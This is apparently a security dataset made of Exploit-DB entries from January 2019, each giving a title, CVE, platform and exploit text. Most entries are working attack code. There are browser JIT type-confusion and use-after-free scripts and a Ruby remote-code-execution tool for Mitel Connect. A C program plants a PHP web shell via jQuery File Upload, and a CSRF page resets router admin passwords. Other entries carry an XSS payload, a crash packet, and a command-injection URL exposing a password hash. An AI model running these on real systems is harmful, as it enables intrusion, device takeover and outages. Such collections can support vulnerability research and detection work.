QLWD/code_shield huggingface dataset:
标题: Microsoft Edge Chakra - 'JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode' Use-After-Free EDB-ID: 46205 CVE: 2019-0568 类型: DOS 平台: WINDOWS 发布日期: 2019-01-18 漏洞利用脚本: /*
The JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode method is used to execute JsBuiltIn.js which initializes some builtin objects. Because it's essentially written in JavaScript, it needs to clear the disable-implicit-call flag before calling the JavaScript code, otherwise it might not work properly. The problem is, it doesn't restore the prevous status of the flag after the call. As setting the flag can prevent stack-allocated objects from leaking, this clearing-the-flag bug can lead to a stack-based use-after-free.

To exploit this bug, it's needed to build a chain that first clears the flag by calling the vulnerable method and then leaks the stack-allocated object. This is done with the Error.prototype.toString method (marked as having no side effects) which calls the "toString" method on the "name" property and the "message" property of the "this" object. So when it accesses the "name" property, it clears the flag and leaks the "this" object when it accesses the "message" property.

PoC:
*/

function opt() {
    let o = {};  // stack-allocated object
    o.x;  // under with DisableImplicitFlags set
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt();
    }

    let leaked_stack_object = null;
    let object_prototype = ({}).__proto__;
    object_prototype.__defineGetter__('x', Error.prototype.toString);
    object_prototype.__defineGetter__('message', function () {
        delete object_prototype.message;

        leaked_stack_object = this;
    });

    object_prototype.name = Array.prototype;  // access to Array.prototype will call JsBuiltInEngineInterfaceExtensionObject::InjectJsBuiltInLibraryCode.

    opt();

    alert(leaked_stack_object);
}

main(); URL: https://www.exploit-db.com/exploits/46205
标题: Microsoft Edge Chakra - 'NewScObjectNoCtor' or 'InitProto' Type Confusion EDB-ID: 46203 CVE: 2019-0567 2019-0539 类型: DOS 平台: WINDOWS 发布日期: 2019-01-18 漏洞利用脚本: NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.

In the PoC, it overwrites the pointer to property slots with 0x1000000001234. 

PoC for NewScObjectNoCtor:

function cons() {

}

function opt(o, value) {
    o.b = 1;

    new cons();

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        cons.prototype = {};

        let o = {a: 1, b: 2};
        opt(o, {});
    }

    let o = {a: 1, b: 2};

    cons.prototype = o;

    opt(o, 0x1234);

    print(o.a);
}

main();

PoC for InitProto:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main(); URL: https://www.exploit-db.com/exploits/46203
标题: Microsoft Edge Chakra - 'InlineArrayPush' Type Confusion EDB-ID: 46202 CVE: 2018-8617 类型: DOS 平台: WINDOWS 发布日期: 2019-01-18 漏洞利用脚本: /*
In Chakra, if you add a numeric property to an object having inlined properties, it will start transition to a new type where the space for some of previously inlined properties become for the pointer to the property slots and the pointer to the object array which stores numeric properties. For this reason, when it optimizes an InlineArrayPush instruction which might start transition, it needs to kill corresponding type symbols to prevent type confusion. But it doesn't, so it can lead to type confusion.

PoC:
*/

function opt(a, b) {
    a.b = 2;
    b.push(0);
    a.a = 0x1234;
}

function main() {
    Object.prototype.push = Array.prototype.push;

    for (let i = 0; i < 1000; i++) {
        let a = {a: 1, b: 2};
        opt(a, {});
    }

    let o = {a: 1, b: 2};
    opt(o, o);

    print(o.a);
}

main(); URL: https://www.exploit-db.com/exploits/46202
标题: Oracle Reports Developer Component 12.2.1.3 - Cross-site Scripting EDB-ID: 46187 CVE: 2019-2413 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2019-01-17 漏洞利用脚本: # Exploit Title: [Cross-site Scripting (XSS)]
# Date: [2019-01-15]
# Exploit Author: [Mohamed M.Fouad - From SecureMisr Company]
# Vendor Homepage: [https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html]
# Version: [12.2.1.3] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2019-2413]

POC:

https://<ip>/reports/rwservlet/showenv%22%3E%3Cimg%20src=x%20onerror=prompt(1);%3E URL: https://www.exploit-db.com/exploits/46187
标题: ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution EDB-ID: 46174 CVE: 2018-5782 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-16 漏洞利用脚本: # Exploit Title: ShoreTel / Mitel Connect ONSITE ST14.2 Remote Code Execution
# Google Dork: +"Public" +"My Conferences" +"Personal Library" +"My Profile" +19.49.5200.0
# Date: 01-01-2019
# Exploit Author: twosevenzero
# Vendor Homepage: https://www.mitel.com/
# Version: 19.49.5200.0 (and very likely many others prior and after)
# CVE : CVE-2018-5782 ( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5782)

Description
===========
There are multiple vulnerabilities in ShoreTel/Mitel Connect ONSITE ST 14.2
which, when chained together, result in remote code execution in the
context of the running service. The vendor was contacted by Jared McLaren
of SecureWorks in early 2018 but a proof of concept was not released. I had
access to a single device during the development of this exploit. As such,
your system paths may be different and you may need to edit this script to
fit your needs.

Solution
========
The vendor has released a response stating that the newest versions are not
affected. Please see their response for upgrade instructions.

https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-18-0004

#!/usr/bin/env ruby

require "base64"
require "methadone"
require "faraday"

include Methadone::Main
include Methadone::CLILogging

main do |base_url,command|

  cmd_b64 = Base64.strict_encode64(command.strip)

  conn = Faraday.new(:url => base_url.strip)
  res = conn.get do |req|
    req.url "/scripts/vsethost.php", 
      {
        :hostId => "system",
        :keyCode => "base64_decode",
        :meetingType => "{${gKeyCode}($gSessionDir)}",
        :sessionDir => cmd_b64,
        :swfServer => "{${gHostID}($gMeetingType)}",
        :server => "exec",
        :dir => "/usr/share/apache2/htdocs/wc2_deploy/scripts/"
      }
  end

  rce = conn.get do |req|
    req.url "/scripts/vmhost.php"
  end

  print rce.body.to_s
end

version       "0.1.0"
description   "Shoretel/Mitel Connect Onsite ST 14.2 Remote Code Execution PoC"

arg :base_url, "URL of vulnerable Connect Onsite ST 14.2 Installation."
arg :command, "Command to run."

go! URL: https://www.exploit-db.com/exploits/46174
标题: WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free EDB-ID: 46183 CVE: 2018-4442 类型: DOS 平台: MULTIPLE 发布日期: 2019-01-16 漏洞利用脚本: /*
The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing GetIndexedPropertyStorage that can cause a garbage collection via rope strings. As a result, it can lead to UaF.

PoC:
*/

function gc() {
    for (let i = 0; i < 10; i++) {
        new ArrayBuffer(1024 * 1024 * 10);
    }
}

function opt(arr) {
    let r = /a/;
    let o = {};

    arr[0].charAt(0);
    arr[1].charAt(0);
    arr[2].charAt(0);
    arr[3].charAt(0);
    arr[4].charAt(0);
    arr[5].charAt(0);
    arr[6].charAt(0);
    arr[7].charAt(0);
    arr[8].charAt(0);
    arr[8].charAt(0);
    arr[9].charAt(0);

    o.x = 'a'.match(r);

    return o;
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
    }

    let a = 'a'.repeat(1024 * 1024 * 2);
    let b = 'a'.repeat(1024 * 1024 * 2);

    let arr = [];
    for (let i = 0; i < 10; i++) {
        arr[i] = a + b;
    }

    gc();

    let o = opt(arr);

    gc();

    let tmp = [1234];

    print(o.x);  // 1234
}

main(); URL: https://www.exploit-db.com/exploits/46183
标题: NTPsec 1.1.2 - 'ntp_control' (Authenticated) NULL Pointer Dereference (PoC) EDB-ID: 46177 CVE: 2019-6445 类型: DOS 平台: LINUX 发布日期: 2019-01-16 漏洞利用脚本: #!/usr/bin/env python
# Exploit Title: ntpsec 1.1.2 authenticated NULL pointer exception Proof of concept
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: https://dumpco.re/bugs/ntpsec-authed-npe 
# Vendor Homepage: https://ntpsec.org/ 
# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz 
# Affected versions: ntpsec 1.1.0, 1.1.1, 1.1.2
# CVE: CVE-2019-6445
# Note: this PoC uses Keyid 1 with password 'gurka'

import sys
import socket

buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
       "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
       "\x56\xc8\x07\xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123)) URL: https://www.exploit-db.com/exploits/46177
标题: Coship Wireless Router 4.0.0.48 / 4.0.0.40 / 5.0.0.54 / 5.0.0.55 / 10.0.0.49 - Unauthenticated Admin Password Reset EDB-ID: 46180 CVE: 2019-6441 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-01-16 漏洞利用脚本: <!--
# Exploit Title: Coship Wireless Router – Unauthenticated Admin Password Reset
# Date: 15.01.2019
# Exploit Author: Adithyan AK
# Vendor Homepage: http://en.coship.com/
# Category: Hardware (Wifi Router)
# Affected Versions : Coship RT3052 - 4.0.0.48, Coship RT3050 - 4.0.0.40, Coship WM3300 - 5.0.0.54, Coship WM3300 - 5.0.0.55, Coship RT7620 - 10.0.0.49.
# Tested on: MacOS Mojave v.10.14
# CVE: CVE-2019-6441

# Change the X.X.X.X in poc to Router Gateway address and save the below code as Exploit.html
# Open Exploit.html with your Browser
# Click on “Submit request”
# Password of the admin will now be changed as "password123"

# PoC :
-->

<html>
  <!-- Change the X.X.X.X with the router's IP address -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://X.X.X.X/apply.cgi" method="POST">
      <input type="hidden" name="page" value="regx/management/accounts.asp" />
      <input type="hidden" name="http_username" value="admin" />
      <input type="hidden" name="http_passwd" value="password123" />
      <input type="hidden" name="usr_confirm_password" value="password123" />
      <input type="hidden" name="action" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/46180
标题: Blueimp's jQuery File Upload 9.22.0 - Arbitrary File Upload Exploit EDB-ID: 46182 CVE: 2018-9206 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-16 漏洞利用脚本: # Exploit Title: Exploit for Blueimp's jQuery File Upload <= 9.22.0 CVE-2018-9206
# Google Dork: inurl: /jquery-file-upload/server/php
# Date: 1/15/2019
# Exploit Author: Larry W. Cashdollar
# Vendor Homepage: http://www.vapidlabs.com
# Software Link: [download link if available]
# Version: <= 9.22.0
# Tested on: Linux
# CVE : CVE-2018-9206


/*Exploits CVE-2018-9206 to install a webshell.*/
/*http://www.vapidlabs.com/advisory.php?v=204 */
/*$ gcc main.c -o blue_exploit */
/*Larry W. Cashdollar @_larry0*/

#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>

#define BSIZE 1024
#define DEBUG 1
#define TESTONLY 0

void build_string (char *p, char *path, char *arg, char *ar1, int func);

int
main (int argc, char *argv[])
{
  int sock = 0, bytes_read = 0, total = 0, function = 0;
  struct sockaddr_in serv_addr;
  char buffer[BSIZE] = { 0 }, payload[BSIZE] = { 0};

  if (argc <= 1)
    {
      printf
 ("CVE-2018-9206 Exploit\n@_larry0\nUsage: %s hostname port path command\n",
 argv[0]);
      return (0);
    }
  if (argc == 5)
    function = 1;
  if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      printf ("\nSocket creation error\n");
      return (-1);
    }

  build_string (payload,argv[3] ,argv[1], argv[4], function);

if (!TESTONLY){

  memset (&serv_addr, 0, sizeof (serv_addr));

  serv_addr.sin_family = AF_INET;
  serv_addr.sin_port = htons (atoi (argv[2]));

  if (inet_pton (AF_INET, argv[1], &serv_addr.sin_addr) <= 0)
    {
      printf ("\nInvalid address.\n");
      return (-1);
    }

  if (connect (sock, (struct sockaddr *) &serv_addr, sizeof (serv_addr)) < 0)
    {
      printf ("\nConnection Failed.\n");
      return (-1);
    }
  send (sock, payload, strlen (payload), 0);
}
  if (DEBUG)
    printf ("\nSending Payload:\n%s", payload);
if (!TESTONLY) {
  while (1)
    {
      bytes_read = recv (sock, buffer, BSIZE, 0);
      total += bytes_read;
      if (bytes_read <= 0)
 break;
      printf ("%s", buffer);
      bzero (buffer, BSIZE);
    }
  printf ("\n[+] Total bytes read: %d\n", total);
  close (sock);
}
  return (0);
}


void
build_string (char *p, char *path,char *arg, char *ar1, int func)
{
  if (func)
      snprintf (p, BSIZE,
  "GET /%s/files/shell.php?cmd=%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: blueimp jquery exploit/9.22.0\r\nAccept: */*\r\n\r\n", path,ar1, arg);
  else
    snprintf (p, BSIZE,
       "POST /%s/index.php HTTP/1.1\r\nHost: %s\r\nUser-Agent: blueimp jquery exploit/9.22.0\r\nAccept: */*\r\nContent-Length: 244\r\nContent-Type: multipart/form-data; boundary=------------------------c8e05c8871143853\r\n\r\n--------------------------c8e05c8871143853\r\nContent-Disposition: form-data; name=\"files\"; filename=\"shell.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php $cmd=$_GET['cmd']; system($cmd);?>\r\n\r\n--------------------------c8e05c8871143853--\r\n\r\n",path, arg);
} URL: https://www.exploit-db.com/exploits/46182
标题: 1Password < 7.0 - Denial of Service EDB-ID: 46165 CVE: 2018-13042 类型: DOS 平台: ANDROID 发布日期: 2019-01-15 漏洞利用脚本: ############
Description
############


The 1Password application < 7.0 for Android is affected by a Denial Of
Service vulnerability. By starting the activity
com.agilebits.onepassword.filling.openyolo.OpenYoloDeleteActivity or
com.agilebits.onepassword.filling.openyolo.OpenYoloRetrieveActivity from an
external application (since they are exported), it is possible to crash the
1Password instance.

 

############
Poc
############

 

To invoke the exported activity and crash the app, it is possible
to use Drozer:

 

run app.activity.start --component com.agilebits.onepassword
com.agilebits.onepassword.filling.openyolo.OpenYoloDeleteActivity



############
Affected Components
############


com.agilebits.onepassword.filling.openyolo.OpenYoloDeleteActivity
com.agilebits.onepassword.filling.openyolo.OpenYoloRetrieveActivity

 

############
Disclosure timeline
############


2018-07-27 Contacting 1Password

2018-07-30 1Password acknowledges the vulnerability

2018-08-22 The vulnerability is fixed and made public



Valerio Brussani (@val_brux) URL: https://www.exploit-db.com/exploits/46165
标题: Microsoft Windows 10 - DSSVC MoveFileInheritSecurity Privilege Escalation EDB-ID: 46160 CVE: 2019-0574 类型: LOCAL 平台: WINDOWS 发布日期: 2019-01-14 漏洞利用脚本: Windows: DSSVC MoveFileInheritSecurity Multiple Issues EoP
Platform: Windows 10 1803 and 1809.
Class: Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary

NOTE: This is one of multiple issues I’m reporting in the same service. While I’ve tried to ensure all the bugs are effectively orthogonal from each other it’s possible that fixes for one thing might affect others. I’ve also not reported every possible problem with the service as at some point I had to stop. I’ve not determined if any of these issues could be abusable from a sandbox, most of the issues almost certainly can’t be due to the requirements for arbitrary file symlinks but it’s not impossible.

Summary: 

The Data Sharing Service MoveFileInheritSecurity method is broken leading to EoP.

Description:

The PolicyChecker::MoveFileInheritSecurity method is almost an exact copy of the code from the Storage Service which I exploited in MSRC cases 42121 and 42122. In fact I’d say it’s the same code copy and pasted. It has the exactly same bugs as the storage service version, specifically arbitrary file writes, due to the reverting call to MoveFileEx and arbitrary ACL setting by placing a hardlinked file in a directory with inheritable ACEs.

This method is called from DSSMoveToSharedFile and DSSMoveFromSharedFile. While those methods do some checking it’s still possible to bypass the checks. This results in the MoveFileInheritSecurity method being called as the SYSTEM user which results in EoP.

I’m saddened by the fact this wasn’t discovered during variant analysis from the Storage Service issues.

Proof of Concept:

I’ve provided a PoC as a C# project. It calls DSMoveFromSharedFile to modify the DACL of a hardlink arbitrary file granted write access to the user.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) Execute the PoC passing the path to a file the user can’t write on the command line (but can be written by SYSTEM).

Expected Result:
The call to move the file.


Observed Result:
The call to move file succeeds and the arbitrary file is now ACLS with the Everyone group for full access.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46160.zip URL: https://www.exploit-db.com/exploits/46160
标题: AudioCode 400HD - Command Injection EDB-ID: 46164 CVE: 2018-10093 类型: WEBAPPS 平台: CGI 发布日期: 2019-01-14 漏洞利用脚本: # [CVE-2018-10093] Remote command injection vulnerability in AudioCode IP phones

## Description

The AudioCodes 400HD series of IP phones consists in a range of
easy-to-use, feature-rich desktop devices for the service provider
hosted services, enterprise IP telephony and contact center markets.

The CGI scripts used on the 420HD phone (web interface) do not filter
user inputs correctly. Consequently, an authenticated attacker could
inject arbitrary commands (Remote Code Execution) and take full control
over the device. For example, it is possible to intercept live
communications.

## Vulnerability records


**CVE ID**: CVE-2018-10093

**Access Vector**: remote

**Security Risk**: medium

**Vulnerability**: CWE-78

**CVSS Base Score**: 7.2

**CVSS Vector String**:
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C


## Details

The script `command.cgi`, used for system monitoring and diagnostics, is
vulnerable to a remote command execution attack.

Visiting the `/command.cgi?cat%20/etc/passwd` gives the following result:

```
admin:$1$FZ6rOGS1$54ZXSmjh7nod.kXFRyLx70:0:0:root:/:/bin/sh
```

Note that the vulnerable page is only available to authenticated users
(in possession of the admin configuration password).

## Timeline (dd/mm/yyyy)

* 06/03/2018 : Initial discovery
* 17/04/2018 : Vendor contact
* 17/05/2018 : Vendor technical team aknowledgment
* 07/01/2019 : Vendor recommendation to mitigate the issue
* 10/01/2019 : Public disclosure

## Fixes

AudioCodes recommends to change the default admin credentials to
mitigate the issue.

## Affected versions

Theses vulnerabilities have only been tested on the 420HD phone
(firmware version: 2.2.12.126).

## Credits

a.baube at sysdream dot com URL: https://www.exploit-db.com/exploits/46164
标题: Microsoft Windows 10 - DSSVC CanonicalAndValidateFilePath Security Feature Bypass EDB-ID: 46159 CVE: 2019-0571 类型: LOCAL 平台: WINDOWS 发布日期: 2019-01-14 漏洞利用脚本: Windows: DSSVC CanonicalAndValidateFilePath Security Feature Bypass
Platform: Windows 10 1803 and 1809.
Class: Security Feature Bypass/Elevation of Privilege
Security Boundary (per Windows Security Service Criteria): User boundary

NOTE: This is one of multiple issues I’m reporting in the same service. While I’ve tried to ensure all the bugs are effectively orthogonal from each other it’s possible that fixes for one thing might affect others. I’ve also not reported every possible problem with the service as at some point I had to stop. I’ve not determined if any of these issues could be abusable from a sandbox, most of the issues almost certainly can’t be due to the requirements for arbitrary file symlinks but it’s not impossible.

Summary: 

The Data Sharing Service’s check for the user passing UNC paths can be circumvented leading to a security feature bypass which can facilitate easier exploitation for privilege elevation.

Description:

During DSSCreateSharedFileTokenEx the path is passed to DSUtils::CanonicalAndValidateFilePath to canonicalize the path. This method also verifies that the passed path isn’t a UNC path (for reasons unknown). The UNC path check can be bypassed by using the \??\UNC\ form. When this is passed to PathAllocCanonicalize it returns it verbatim, however this path format isn’t considered a UNC path by PathIsUNCEx. However when passed to CreateFile etc it will be considered as if it was an \\?\UNC\ path format.

This could be useful for a few different attacks. For a start you could redirect the call to \\localhost\pipe\somepipe and get a named pipe handle bound to the SYSTEM user. Although I’ve not worked out a way of getting the handle back (as GetFinalPathFromHandle fails). Another attack vector is when going to an SMB share any directory junctions are resolved on the server, this would allow you to bypass any checks such as DSUtils::VerifyPathFromHandle as the returned path would be \\?\UNC\localhost\c$\blah.. Regardless of the final destination path opened. 

Proof of Concept:

I’ve provided a PoC as a C# project.

1) Compile the C# project. It’ll need to pull NtApiDotNet from NuGet to build.
2) Execute the poc, it will try and open c:\windows\notepad.exe via the C$ admin share.

Expected Result:
The path is considered invalid and DSSCreateSharedFileTokenEx fails. 


Observed Result:
The UNC path is opened.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46159.zip URL: https://www.exploit-db.com/exploits/46159